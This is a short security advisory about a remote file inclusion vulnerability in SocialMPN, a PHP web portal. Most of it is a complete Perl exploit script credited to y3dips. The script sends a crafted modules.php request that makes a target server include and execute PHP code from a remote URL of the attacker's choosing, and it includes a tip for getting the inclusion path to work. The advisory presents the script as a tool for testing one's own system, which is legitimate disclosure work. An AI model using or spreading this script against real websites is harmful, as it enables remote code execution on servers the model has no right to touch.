Summary
SocialMPN is "very similar to myPHPNuke, however the biggest change to the system is the multi-site functionality we have incorporated into the package".

A vulnerability in the way SocialMPN handles external modules allows a remote attacker to include his own arbitrary PHP code that would then be executed by the SocialMPN environment. The following exploit code can be used to test your system for the mentioned vulnerability.

Credit:
The information has been provided by y3dips.

Details
Exploit:
#!/usr/bin/perl -w

# Remote Testing SocialMPN Remote File Inclusion by y3dips [for testing only]
# Bug find by zer0-c00l ,
# Bug published at http://waraxe.us/ftopic-542-0-days0-orderasc-.html

print " * Remote Testing File Inclusion for SocialMPN by y3dips *\n";

require LWP::UserAgent;

if(@ARGV == 2)
{

$target= $ARGV[0];
$xploit= $ARGV[1];

my $ua = LWP::UserAgent->new;
$ua->agent("MSIE/6.0 Windows");
$ua->timeout(10);
$ua->env_proxy;

$url = "http://$target/modules.php?name=$xploit&file=article&sid=2";
# just for trick , use "?" in the last char of your file inclusion path

my $injek = $ua->get($url);

print " -------------------------------\n";
if ($injek->is_success)
{
$injekcek = $injek->as_string;
if ($injekcek =~ /(HTTP\/1\.0 200 OK)/)
{ print("\n This Site Maybe Vulnerable \n"); }
else
{die $injek->status_line;}
print " -------------------------------\n";
}
}

else{
print "Use: perl $0 [target] [xplo.txt] \n";
}